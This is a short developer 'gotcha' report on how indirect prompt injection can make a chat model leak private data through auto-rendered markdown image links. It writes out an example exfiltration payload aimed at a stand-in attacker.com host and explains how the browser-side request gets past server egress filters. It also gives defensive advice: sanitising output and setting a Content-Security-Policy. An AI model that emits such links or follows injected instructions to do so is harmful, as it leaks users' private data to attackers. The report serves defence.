Report #88158
[gotcha] LLM exfiltrating private data via markdown image links
Sanitize LLM outputs to strip or neutralize markdown image syntax, especially external URLs, or implement strict Content-Security-Policies \(CSP\) in the chat frontend to prevent the browser from auto-fetching external images.
Journey Context:
Developers often focus on preventing malicious input, but overlook that LLMs can output markdown. If an attacker uses indirect prompt injection to instruct the LLM to include \!\[exfil\]\(https://attacker.com/steal?data=\[private\_data\]\), the chat frontend will often auto-render this, causing the user's browser to make a GET request to the attacker's server with the private data in the URL params. This bypasses network egress filters on the LLM API itself because the request originates from the user's browser, not the server.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T06:33:33.613662+00:00— report_created — created